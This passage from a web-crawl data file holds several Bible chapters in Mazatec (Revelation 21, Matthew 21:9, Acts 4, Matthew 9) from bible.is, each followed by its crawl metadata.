ìkja̱li̱ ra tíbáko̱‑na, jngo ki̱cha̱ kjiya tsja ra ngi ki̱cha̱ sinè ra koni 'ki jngo yá ra ma machi̱ba̱‑ni 'ki, jè ra síchjeén nga machi̱ba̱‑ni jè na̱xi̱ndá ko̱ jè chrjó ra tjíchjàndi‑ni na̱xi̱ndá ko̱ jñà xo̱tjo̱ba̱‑la̱. 16Jè na̱xi̱ndá, 'koa̱á 'ki koni tsa jngo kàxa̱. 'Koa̱á ti̱ 'ki ndajò‑ni koni 'ki nga teyá. Jè ìkja̱li̱, jé ki̱cha̱ ra tsá'ya kisìchi̱ba̱‑ni jè na̱xi̱ndá. Jò jmi ko̱ jò sindo̱ kilómetro tjín‑la̱. 'Koa̱á ti̱ 'ki tjín‑la̱, jè ra ndajò ko̱ ra teyá ko̱ ra 'nga. 17Isìchi̱ba̱á‑te jè chrjó ra tjíchjàndi‑la̱ jè na̱xi̱ndá, jngo sindo̱ ko̱ ichán ijòn xkó ndse̱é tjín‑la̱ ra chi̱ba̱ 'tse̱ xi̱ta̱ isìchjeén jè ìkja̱li̱, [jè ra ichán nanga tjín‑ni]. 18Jè chrjó ra tjíchjàndi‑ni, ngi jé kisinda‑ni na̱jo̱ chjí ra 'mì jaspe. Tanga ra jè na̱xi̱ndá, ngi ki̱cha̱ sinè ra jè. 'Koa̱á 'sín tsijen koni jngo chi̱tsín ra tsje. 19Ko̱ jñà chrjó tjà'tsin jè chrjó ra tjíchjàndi‑ni ya̱ na̱xi̱ndá, ngi sabà jñà na̱jo̱ chjí ra 'ñó nda kjòn ijàjno; jè ra tíjna ítjòn, jé na̱jo̱ ra 'mì jaspe; jè ra ma‑ni jò, jé na̱jo̱ ra 'mì zafiro; jè ra ma‑ni jàn, jé na̱jo̱ ra 'mì ágata; jè ra ma‑ni ijòn, jé na̱jo̱ ra 'mì esmeralda; 20jè ra ma‑ni 'òn, jé na̱jo̱ ra 'mì ónice; jè ra ma‑ni jon, jé na̱jo̱ ra 'mì cornalina; jè ra ma‑ni ito, jé na̱jo̱ ra 'mì crisólito; jè ra ma‑ni jin, jé na̱jo̱ ra 'mì berilo; jè ra ma‑ni ijan, jé na̱jo̱ ra 'mì topacio; jè ra ma‑ni te, jé na̱jo̱ ra 'mì crisopraso; jè ra ma‑ni tejngo, jé na̱jo̱ ra 'mì jacinto; ko̱ jè ra ma‑ni tejò, jé na̱jo̱ ra 'mì amatista. 21Jñà tejò xo̱tjo̱ba̱‑la̱, tejò na̱jo̱ chjí ra 'mì perla tjín‑ni. Nga jngó jngó xo̱tjo̱ba̱, jngoó na̱jo̱ chjí ra 'mì perla tjínda‑ni. Jè ndi̱yá té‑la̱ na̱xi̱ndá, ngi ki̱cha̱ sinè‑ní; 'koa̱á 'sín nda fate tsijen koni tsa jngo chi̱tsín. 22Ya̱ a̱jin na̱xi̱ndá, ni̱jngo i̱ngo̱ kíjtsee̱. Nga̱ jè sabá Na̱'ín‑ná ra Nainá ra bato tse nga'ñó tjín‑la̱, ko̱ jè Forrè, ra ma i̱ngo̱‑la̱. 23Jè na̱xi̱ndá, mì tsa ti̱ tsá'bí ko̱ mì tsa ti̱jè sá machjeén‑ila̱ nga síhisen‑la̱; nga̱ jè sabà kjoa̱jeya‑la̱ Nainá síhisen‑la̱; ko̱ jé Forrè ma ni'í‑la̱. 24Jñà xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde, jè kjoa̱hisen‑la̱ Nainá kímahisen‑ni; ko̱ jñà xi̱ta̱xá ítjòn ra tjín ya̱ a̱'ta nangi, ki̱ko̱ó kjoa̱nchi̱ná‑la̱ nga ya̱ si̱ìnga̱tsja. 25Jñà xo̱tjo̱ba̱‑la̱ na̱xi̱ndá ni̱kjiá nga si̱chjà 'kia̱ nga ni̱chjin; nga̱ ya̱ i̱jndáa̱, mì kì tsa ko̱jñò‑jìn. 26Jñà xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde ya̱á ki̱ko̱ nga'tsì kjoa̱nchi̱ná‑la̱ ko̱ nga'tsì ra 'ñó nda kjòn nga ya̱ si̱ìnga̱tsja. 27Ni̱mé kjoa̱tjé ma kjoa̱ha'sen; ni̱jngo ra kjoa̱'cho 'sín ko̱ ra 'én ndiso chja̱ ma kjoa̱ha'sen‑jin na̱xi̱ndá; ta jñá kjoa̱ha'sen jñà ra tjí'ta 'í‑la̱ jè xa̱jo̱n‑la̱ Forrè ra 'tse̱ kjo̱binachon.\nApocalipsis 21","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/21","date":"2014-03-12T06:16:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021400132\/warc\/CC-MAIN-20140305121000-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":978,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Jñà xi̱ta̱ ra tje̱n ítjòn‑la̱ ko̱ ra tje̱n‑ngi‑la̱ tsikí'tsia̱‑ní nga 'ñó kiìchja̱, kitsò: ―¡Jeya katijna jè ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David [nga̱ jè kíjna ngajo‑la̱]! ¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra nchrabá ngajo‑la̱ Nainá! ¡Jeya katijna Nainá ya̱ ján ngajmi!\nSan Mateo 21:9\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/9","date":"2014-03-08T02:09:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999652586\/warc\/CC-MAIN-20140305060732-00087-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000022649765015}","num_words":50,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pedro ko̱ Juan tákó ti̱k'e̱é nchihóko̱ xi̱ta̱ na̱xa̱ndá nga ijchò jñà no̱'miì, tji̱ko̱ jè xi̱ta̱ sko̱‑la̱ policía xi síkinda̱ i̱ngo̱ ítjòn ko̱ jñà xi̱ta̱ saduceo. 2Jñà xi̱ta̱ koi 'ñó jti komà‑la̱ nga jè Pedro ko̱ Juan k'oa̱á s'ín tsakóya‑la̱ xi̱ta̱ na̱xa̱ndá nga jyeé ki'ya‑la̱ nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en koni s'ín jaáya‑la̱ Jesús. 3Kitsobà'ñó, kiìko̱, i̱kjoàn kiskinìs'en nda̱yá nga jyeé kjònguixòn. Ya̱á kisìkítsa̱jna nda̱yá skanda komà nchijòn. 4'Ñó kjìn ma‑ne xi̱ta̱ xi kòkjeiín‑la̱ k'e̱ nga kiì'nchré 'én xi kiìchja̱ Pedro ko̱ Juan. Jyeé ma 'òn jmiì xi̱ta̱ x'i̱n xi mokjeiín‑la̱; ko̱ jñà íchjín xi kòkjeiín‑la̱ mìkiì kòxke̱ya. 5Xi komà inchijòn, kjòxkóya ján Jerusalén xi̱ta̱ sko̱‑la̱ jñà xi̱ta̱ judío ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ chji̱ne̱ xo̱jo̱n xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. 6Ti̱koa̱ ya̱ tíjna Anás, xi no̱'miì ítjòn, Caifás, Juan, ko̱ Alejandro, ngats'iì xi̱ta̱ xíkjín jñà xi no̱'miì ítjòn. 7Kiskinìkjaá Pedro ko̱ Juan, i̱kjoàn chinchá osen nga kiskònangui‑la̱, kitsò‑la̱: ―¿Yá ts'e̱ nga'ñó? ¿Yá xi kitsjaà'nde‑nò nga xi̱ta̱ xk'én nìndaà‑nò? 8Jè Pedro nga ndaà tíjiìn ini̱ma̱‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsò: ―Jñò xi xi̱ta̱xá ítjòn 'mì‑nò ko̱ xi̱ta̱ jchínga‑la̱ na̱xa̱ndá Israel: 9Jñò, ¿mé‑ne mejèn‑nò nga jcha̱a kjo̱ndaà xi kòmat'in xi̱ta̱ jè nga kòmandaà‑ne nga jye ma fì‑ne? 10Jñò nga nguixkoòn, kéno̱jmí‑nòje̱n, ti̱koa̱ kàtji'nchré yije ngats'iì xi̱ta̱ na̱xa̱ndá Israel. Xi̱ta̱ jè, i̱t'aà ts'e̱é Jesucristo xi Nazaret ts'e̱ kjòndaà‑ne. Ti̱jè‑ne xi kinìk'eèn nga tsakat'aà krò, ta̱nga Nainá kisìkjaáya‑la̱. 11Jñò, k'oa̱á ngaya‑la̱ koni chji̱ne̱chrjó xi bíndaà ni'ya. Kinachrjekàngui‑nò Jesús koni jngoò nda̱jo̱ xi ni̱mé chjí‑la̱. Ta̱nga i̱'ndei̱ jè tíjna ítjòn koni nda̱jo̱ chrja̱ngui̱‑la̱ chrjó ni'ya. 12Tà jngoò ma xi̱ta̱ xi ma‑la̱ ochrjekàjiìn‑ná kjo̱'in, tà jè Jesucristo. Mì ti̱ yá xi̱ta̱ tjín‑ne i̱ i̱t'aà nangui xi Nainá kisìkasén nga ko̱ma ko̱chrjekàjiìn‑ná kjo̱'in. 13Jñà xi̱ta̱xá, k'e̱ nga kijtseè nga 'ñó chja̱ Pedro ko̱ Juan nga mìkiì tsakjón, ti̱koa̱ kijtseè nga ta̱xki̱ ndí xi̱ta̱‑né nga mìtsà 'ñó ma‑la̱ xo̱jo̱n, tà kjòxkón‑la̱; k'e̱é kjòchi̱ya‑la̱ nga jñà xi̱ta̱ xi tsajmeiìko̱ Jesús. 14Ti̱koa̱ kijtseè nga ya̱ síjna jè xi̱ta̱ xi jye kjòndaà‑ne, k'oa̱á s'ín komà‑ne nga mì ti̱ kó kitsò‑la̱. 15K'e̱é tsachrje jngoò tjò ni'ya osen, i̱kjoàn tsajoóya‑ne. 16Kitsò‑la̱ xíkjín: ―¿Mé xi si̱koa̱á xi̱ta̱ koi? Ngats'iì xi̱ta̱ na̱xa̱ndá Jerusalén, jyeé tíjiìn‑la̱ kjo̱xkón xi kis'iìn, mìkiì ko̱ma kí'maá. 17Ki̱nchaxkón‑la̱á nga ni̱ ti̱ jngoò xi̱ta̱ ko̱hóko̱‑ne xi i̱t'aà ts'e̱ Jesús, mé‑ne nga mì ti̱ kiì ko̱bísòn‑ne kjoa̱ koi. 18K'e̱é kiìchja̱ ìjngoò k'a‑la̱ Pedro ko̱ Juan; kitsjaà‑la̱ o̱kixi̱ nga jngoò k'a mì ti̱ kiì tjí'nde‑la̱ nga ki̱chja̱‑ìsa‑la̱, ti̱koa̱ ko̱kòya‑ìsa‑la̱ xi̱ta̱ i̱t'aà ts'e̱ Jesús. 19Jè Pedro ko̱ Juan kiìchja̱, kitsò‑la̱: ―Jñò, ndaà jchósòn‑là, ñá‑la̱á xi kixi̱ tjín nga nguixko̱n Nainá. ¿Yá‑né xi si̱kitasòn‑la̱je̱n? ¿A jñò‑nò xi xi̱ta̱ 'mì‑nò? ¿A xi jè sobá Nainá? 20Mìkiì ko̱ma jyò ki̱tsa̱jna‑je̱n i̱t'aà ts'e̱ kjoa̱ xi ki'ya‑je̱n ko̱ xi kina'yà‑je̱n. 21Jñà xi̱ta̱xá mìkiì kjòtsji‑la̱ kós'ín si̱ìko̱ nga tsjá‑la̱ kjo̱'in, tà chincháxkón‑la̱, i̱kjoàn kisìkítsa̱jnandei̱í‑ne, koií kjoa̱‑la̱ nga jñà ngats'iì xi̱ta̱ na̱xa̱ndá, 'ñó jeya kisìkíjna Nainá i̱t'aà ts'e̱ kjo̱xkón xi komà. 22Koií‑né nga jè xi̱ta̱ xi jye kjòndaà‑ne, tsatoó ichán nó tjín‑la̱ k'e̱ nga k'oa̱s'ín komàt'in kjo̱xkón jè. 23K'e̱ nga jye tsibìtsa̱jnandei̱í‑ne Pedro ko̱ Juan, kiì‑ne ñánda títsa̱jna xi̱ta̱ xíkjín; tsibéno̱jmí yije‑la̱ kó kitsò‑la̱ jñà no̱'miì ítjòn ko̱ jñà xi̱ta̱ jchínga. 24Jñà xi̱ta̱ xíkjín, k'e̱ nga jye kiì'nchré koni s'ín kis'eno̱jmí‑la̱, ngats'iì, tsibíts'ia̱ nga tà jngoò jta̱ kiìchja̱t'aà‑la̱ Nainá, kitsò: ―Ji̱ Na̱'èn xi ji̱ tjín‑lè kinda̱ ngats'iì xi tjín, nga ji̱ tsibìndiì ngajmiì, nangui ko̱ ndáchikon, ngats'iì tsojmì xi tjín i̱sò'nde. 25Nga ko̱ Ini̱ma̱ Tsjeè‑lè kinìkjiín tso'ba chi̱'nda‑lè David xi xi̱ta̱ jchínga kjiìn‑naje̱n nga k'oa̱ kisi: ¿Mé‑ne nga mats'e̱n‑ne xi̱ta̱ i̱sò'nde? Ko̱ jñà xi̱ta̱ na̱xa̱ndá, ¿mé‑ne kjoa̱ ts'e̱n joóya‑ne xi kondra̱ ts'e̱ Nainá? 26Kjòxkóya xi̱ta̱xá ítjòn xi tjín i̱sò'nde; kisìjngoò yijo‑la̱ jñà xi̱ta̱ xi tjín‑la̱ kjo̱tíxoma nga kondra̱ kiì‑la̱ Nainá ko̱ Cristo, [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. 27'Kixi̱í kjoa̱, jè Herodes ko̱ Poncio Pilato, ko̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío, ko̱ ngats'iì xi̱ta̱ na̱xa̱ndá Israel, kisìjngoò yijo‑la̱ i̱ na̱xa̱ndá jè, nga kondra̱ kiì‑la̱ Ki'ndí‑lè Jesús xi xi̱ta̱ tsjeè xi ngaji̱ xó ji̱ kichjaàjiìn‑ne nga kinìkasín nga jè xi Cristo. 28Jñà xi̱ta̱ koi, k'oa̱á s'ín kis'iìn yije koni s'ín tjíndaà‑lè nga ti̱sa̱ tàts'en‑la̱ kjoa̱ nga k'oa̱s'ín ko̱ma. 29Na̱'èn, i̱'ndei̱, chítsején‑la̱ xi̱ta̱ koi nga mejèn‑la̱ beètoòn‑naje̱n; ti̱chját'aà‑náje̱n nga mìkiì ki̱skón‑je̱n nga ma ki̱nókjoa̱ya‑je̱n 'én‑lè xi chi̱'nda‑lè 'mì‑náje̱n. 30Ta̱koí nga'ñó xi tjíya ndsei̱i nga kàtandaà‑ne xi̱ta̱ xi xk'én; i̱t'aà ts'e̱ Chi̱'nda Tsjeè‑lè Jesús, t'i̱in kjo̱xkón xi okó kjoa̱jeya‑la̱ Nainá. 31K'e̱ nga jye kiìchja̱t'aà‑la̱ Nainá, ts'a ch'ón ya̱ i̱'nde ñánda títsa̱jna. Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna kis'ejiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; mì ti̱ kiì kitsakjòn‑ne nga kiìchja̱ya 'én‑la̱ Nainá. 32Ngats'iì xi̱ta̱ xi jye kòkjeiín‑la̱, ngásòn ngáya tjín ini̱ma̱‑la̱ ko̱ kjo̱hítsjeèn‑la̱; ngats'iì tsojmì xi tjín‑la̱ nga jngoò ìjngoò, ts'e̱ yije‑né kóho̱tjín. Ni̱jngoò xi kitsò: \"Tsojmì xi tjín‑na̱, tà ts'a̱n, ta̱jngoò‑ná.\" 33Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús 'ñó tse nga'ñó kis'e‑la̱ nga ìsa̱ ndaà tsibéno̱jmí nga jye jaáya‑la̱ Na̱'èn‑ná Jesucristo i̱t'aà ts'e̱ kjoa̱biyaà. Ngats'iì jñà xi̱ta̱ koi, Nainá 'ñó ndaà kisìchikon‑t'in. 34K'oa̱á s'ín komà‑ne nga ni̱jngoò xi̱ta̱ kisìchijàt'aà‑la̱ tsojmì xi mochjeén‑la̱. Jñà xi̱ta̱ xíkjín xi tjín‑la̱ nangui ko̱ jñà xi tjín‑la̱ ni'ya, otíjna. I̱kjoàn f'iìko̱ yije to̱n‑la̱ tsojmì xi otíjna. 35Sínga̱tsja jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús; i̱kjoàn síka'bí‑la̱ xíkjín nga jngoò ìjngoò mé xi chijat'aà‑la̱. 36Ya̱ tíjnajiìn jngoò xi̱ta̱ levita xi José 'mì. Ya̱á i̱'nde‑la̱ na̱xa̱ndá Chipre. Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, tsibít'aàsòn 'ín‑la̱: Bernabé kitsò‑la̱. ('Ín jè, tsòyaá‑ne: xi̱ta̱ xi síjehikon‑ná.) 37Xi̱ta̱ jè, kijna jngoò 'nde‑la̱ nangui; tsatíjna; j'iìko̱ to̱n‑la̱; kisìnga̱tsja jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús.\nHechos 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/4","date":"2014-03-11T14:28:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011208420\/warc\/CC-MAIN-20140305092008-00012-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":884,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga 'jaha'sen Jesús ya̱ chitso, ya̱á tsato'ta ya̱ ra ijngoa ndáchikon ján. 'Koa̱á 'sín ijchò‑ni na̱xi̱ndá ya̱ ñánda̱ tsikijna. 2Jñà xi̱ta̱, ya̱á ijchòko̱ jngo‑la̱ xi̱ta̱ kiya, jè ra kjijnajyò nga tíjngo ijo‑la̱ nga kjijnasòn na̱chan. 'Kia̱ nga kijtse Jesús nga makjiín‑la̱ jñà xi̱ta̱ kìi̱ ra a̱'ta 'tse̱, kitsó‑la̱ jè ndí xi̱ta̱ ra kiya: ―Ji̱ ndí na̱'ìn, 'ñó 'tè‑la̱ takìn; jñà jé‑li ijyeé kànìhijchaà'ta‑li. 3Tjín i'ka jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ra kitsò ya̱ a̱jin inìma̱‑la̱: \"Jè xi̱ta̱ ra̱kìi̱, jé Nainá chja̱jno‑la̱ nga ko̱'sín tsò.\" 4Jè Jesús kjòchi̱ya‑la̱ koni 'sín nga i̱nchisíkítsjen, kitsó‑la̱: ―¿Mé‑ni ko̱tsò kjo̱bítsjen 'cho ra nchrabájin‑ni inìma̱‑no? 5¿Ñáa̱ ra isa̱ chiba chjá tjín, a jè‑ní nga kixé: \"Jñà jé‑li ijyeé kànìhijchaà'ta‑li\", o̱ ra jè‑ní nga kixé: \"Ti̱sítji̱in ko̱ ti̱tjájme‑ni\"? 6Nda kjón kokon‑no nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ tjí'ndeé‑na i̱ a̱'ta nangi nga ma sijchá'ta‑la̱ jñà jé‑la̱ xi̱ta̱. 'Kia̱á kitsò‑la̱ jè ndí xi̱ta̱ ra kiya: ―Ti̱sítji̱in, chjíbé na̱chan‑yá‑li, ko̱ 'tin‑ni ya̱ ni'ya‑li. 7'Kia̱á tsasítje̱n jè xi̱ta̱ ra kiya, ko̱ a̱kjòn kijì‑ni ya̱ ni'ya‑la̱. 8'Kia̱ nga kijtse jñà xi̱ta̱ nga tsasítje̱n‑ni jè xi̱ta̱ ra kiya, tà 'koa̱á kjomà‑la̱; 'kia̱á jeya isíkíjna Nainá jñà xi̱ta̱ kìi̱ ta nga̱tjì‑la̱ nga ko̱'sín tse nga'ñó kitsjà Nainá a̱'ta 'tse̱ xi̱ta̱ i̱sà'nde. 9'Kia̱ nga kijì‑ni Jesús, kijtseé jngo xi̱ta̱ ra 'mì Mateo ra ya̱ tíjna'ta ya̱ ímixa̱ ñánda̱ machjítjì tsajmì a̱'ta 'tse̱ xi̱ta̱xá Roma, kitsò‑la̱: ―Nchrabátji̱ngi‑ná. 'Kia̱á tsasítje̱n jè xi̱ta̱ ra 'mì Mateo nga kiìtji̱ngi‑la̱. 10'Kia̱ nga tíbakjèn Jesús ya̱ ni'ya‑la̱ Mateo, kjín xi̱ta̱ 'ji ra ti̱'koa̱á tsajmì síkíchjítjì ko̱ jñà xi̱ta̱ ra tse jé bátsji. Ko̱ ya̱á tsikitsa̱jna'ta‑te ya̱ ímixa̱ nga tsakjèn ya̱ ñánda̱ tíjna Jesús ko̱ xi̱ta̱ ra ijye ya̱ kotá'yá'ta‑la̱. 11Jñà xi̱ta̱ fariseo, 'kia̱ nga kijtse jñà xi̱ta̱ ra i̱nchibakjèn‑ko̱ Jesús, iskonangií‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús nga kitsò‑la̱: ―¿Mé‑ni ko̱'sín ya̱ bakjèn‑ko̱‑ni maestro‑najiòn jñà xi̱ta̱ ra síkíchjítjì tsajmì ko̱ xi̱ta̱ ra tse jé tjín‑la̱? 12'Kia̱ nga kií'nchré Jesús, kitsó‑la̱: ―Mì tsa chji̱ne̱xki machjeén‑la̱ jñà xi̱ta̱ ra mì mé 'chin tjín‑la̱; jñá‑ní xi̱ta̱ ra kiya ra machjeén‑la̱ chji̱ne̱xki. 13Tangió ko̱ chjítá'yá‑isa kótsò‑ni jè xa̱jo̱n‑la̱ Nainá ra tsò: \"Jé mejèn‑na nga kata'se‑najiòn kjo̱hi̱ma̱takòn, ko̱ mì tsa jè‑jìn nga takó cho̱ si̱'ken kjo̱tjò‑nájiòn.\" Mì tsa ki xá 'jíi̱‑na ra 'a̱n nga jñà kichjà‑la̱ jñà ra xi̱ta̱ kixi̱ tsò‑la̱ ijo‑la̱, ta jñá‑ní kichjà‑la̱ jñà ra machi̱ya‑la̱ nga xi̱ta̱ jé‑ní, mé‑ni nga katasíkájno‑ni jé‑la̱ ko̱ mì ti̱ kì jé koa̱àtsji‑ni. 14Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan 'jií ya̱ ñánda̱ tíjna Jesús nga iskonangi‑la̱, kitsò‑la̱: ―Ngaji̱n ko̱ jñà xi̱ta̱ fariseo tà bìtsa̱jnachjan ki'ta‑náji̱n. ¿Mé‑ni nga jñà xi̱ta̱ ra kotá'yá'ta‑li mì kì tsa bìtsa̱jnachjan‑ni? 15Jesús kitsó‑la̱: ―¿A maá baá 'se̱‑la̱ xi̱ta̱ 'kia̱ nga jngo xi̱ta̱ kàbixan, 'kia̱ nga takó ya̱ tíjnako̱‑isa jè xi̱ta̱ 'xi̱n ra kàbixan? Tanga ki̱jchó ni̱chjin 'kia̱ nga tjá'an‑la̱ jè xi̱ta̱ 'xi̱n ra kàbixan; 'kia̱‑ní nga kítsa̱jnachjan. 16'Jngo nikje ra ijye jchínga mì kì ma tsa nikje xi̱tse̱ si̱jto'a‑la̱; nga̱ jè nikje xi̱tse̱ ski̱í'ñóya‑ní, ko̱ ya̱á ski̱íchrja̱ya‑nda jè nikje jchínga. Ko̱ isa̱á tse tjá'xa̱‑isa ya̱ ñánda̱ nga ichrjajndá. 17Ti̱'koa̱á mì kì ma si̱nchá xán ixi jñà chrja̱ba̱ ra ijye jchínga; nga̱ tsa ko̱'sín 'sie̱én, chrjáyá jñà chrja̱ba̱, ko̱ xa̱ájteén jè xán ko̱ kji̱tsón jñà chrja̱ba̱. Jè xán ixi, chrja̱ba̱ xi̱tse̱é si̱nchá mé‑ni nga ni̱mé ra jchi̱ja‑ni. 18Ti̱'kia̱á‑ni nga tíchja̱ Jesús, jngo xi̱ta̱ ítjòn‑la̱ xi̱ta̱ judío ijchò ya̱ ñánda̱ tíjna, tsasèn-xkó'nchi'ta‑la̱, kitsò‑la̱: ―Jè ndí tsati‑na̱, 'sa̱ kjón 'ken; tanga tsa 'kíi̱n ra ji̱, ko̱ kjó'ta‑la̱ ndsi̱i, kíjnakoón india‑ni. 19Tsasítje̱én Jesús ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga kiìko̱ xi̱ta̱ ra̱kìi̱. 20'Kia̱ nga i̱nchifì, jngo chjo̱ón ijchòkasi'ta chraña‑la̱ Jesús, ko̱ a̱jto̱n í'tsi̱ín Jesús tsasijna‑nì nga ma itsabà ya̱ a̱tjòn nikje‑la̱ Jesús; jè chjo̱ón ra̱kìi̱ ijye‑ró kjo tejò nó tjín‑ni nga kiya nga jní xaájten‑la̱. 21Nga̱ 'koa̱á 'sín isíkítsjen nga kitsò: \"Ni̱'sín ta i̱tsé‑la ska̱'ta‑la̱ ndsa̱ nikje‑la̱, ko̱ndàa‑na.\" 22Jè Jesús isíkáfa‑ní, kijtseé jè ndí chjo̱ón ra̱kìi̱, kitsò‑la̱: ―Ji̱ ndí chjo̱ón, 'ñó 'tè‑la takìn, kií‑ní nga kàmakjiín‑li nga kamanda‑ni. Ko̱ ti̱jé‑ni hora nga kjonda‑ni jè ndí chjo̱ón ra̱kìi̱. 23'Kia̱ nga ijchò Jesús ya̱ ni'ya‑la̱ jè xi̱ta̱ ítjòn‑la̱ xi̱ta̱ judío, kijtseé jñà xi̱ta̱ ra síkjane ko̱ jñà xi̱ta̱ ra 'ñó ba i̱nchikjindáya. 24Kitsò‑la̱: ―Títjo̱o ya̱ ni'ya; nga̱ jè ndí tsati ra̱kìi̱ mì tsa kàbiya‑jìn, tà kjijnafé‑ní. Jñà xi̱ta̱, ta tsijnòke‑ní koni 'sín kitsò jè Jesús. 25Tanga jè Jesús tsachrjeé ni'ya nga'tsì xi̱ta̱ ra ya̱ tjítsa̱jna; ko̱ a̱kjòn 'jaha'sen ni'ya; iskábé jè tsja ndí tsati. Ko̱ jè tsati ndi̱to̱ón tsasítje̱n‑ni. 26Ta nga tíjngoó tsabísòn 'én a̱'ta 'tse̱ kjoa̱ ra kjomà. 27'Kia̱ nga ijye itjo‑ni Jesús ya̱ i̱jndáa̱, jò xi̱ta̱ xka̱ kiìtji̱ngi‑la̱, 'ñó kiìchja̱ nga kitsò‑la̱: ―¡Jcha̱hi̱ma̱takón‑náji̱n, ji̱ ra ya̱ nchrabá‑ni a̱'ta 'tse̱ tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David! 28'Kia̱ nga 'jaha'sen ya̱ ni'ya jè Jesús, jñà xi̱ta̱ xka̱ ijchò kincha'tá‑la̱, ko̱ jè Jesús iskonangií‑la̱, kitsò‑la̱: ―¿A makjiín‑no nga 'a̱n ma sindá‑no? Kitsó jñà xi̱ta̱ ra xka̱: ―Jon Na̱'ìn, 'koa̱á 'sín makjiín‑naji̱n. 29Jesús 'kia̱á iskaájno xko̱n ko̱ kitsò‑la̱: ―Ko̱'sín katanda‑no koni 'sín nga kàmakjiín‑no. 30Itjá'xa̱á‑ni xko̱n jñà xi̱ta̱ kìi̱. Jè Jesús 'ñó tsikí'tin nga kitsò‑la̱: ―Kì yá xi̱ta̱ ra 'bèna̱jmí‑la a̱'ta 'tse̱ kjoa̱ kìi̱. 31Tanga jñà xi̱ta̱ kìi̱, 'kia̱ nga ijye itjo‑ni ni'ya, ti̱'kia̱á tsikí'tsia̱ nga tsi'kéna̱jmí nga tíjngo ya̱ i̱'nde ra̱kìi̱ koni 'sín nga ki'sìn jè Jesús. 32'Kia̱ nga ijye i̱nchifì‑nì jñà xi̱ta̱ kìi̱, jngo xi̱ta̱ ra mì kì ma‑la̱ chja̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱ 'jiìkó jñà xi̱ta̱ ya̱ ñánda̱ nga tíjna Jesús. 33'Kia̱ nga ijye tsachrjejin Jesús jè inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱ ra̱kìi̱, ti̱'kia̱á kjomà kiìchja̱‑ni. Nga'tsì xi̱ta̱ ra ya̱ títsa̱jna ta kjóxkón‑la̱. Kitsò: ―Ni̱ kjè sa india mé kjoa̱ ra ko̱tjín 'ya‑la̱ i̱ i̱'nde Israel. 34Tanga jñà xi̱ta̱ fariseo kitsó‑ní: ―Jé xi̱ta̱‑ni̱í ra tíjna ítjòn‑la̱ nga'tsì inìma̱ 'cho‑la̱ ni̱í ra tsjá‑la̱ nga'ñó jè xi̱ta̱ ra̱kìi̱ nga ma‑la̱ bachrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱. 35Jesús tsajmejín‑ní nga'tsì na̱xi̱ndá i'i ko̱ na̱xi̱ndá jtobá nga tsakón‑ya 'én‑la̱ Nainá ya̱ ni'ya sinagoga ya̱ ñánda̱ maxkóya xi̱ta̱ Judío ra tjín‑la̱ nga jngó jngó na̱xi̱ndá. Tsi'kéna̱jmí 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ kó'sín batéxoma Nainá. Ko̱ isinda‑ni nga'tsì 'chin ra tjín‑la̱ xi̱ta̱ ko̱ ya̱ ñánda̱ nga ajò‑la̱. 36'Kia̱ nga 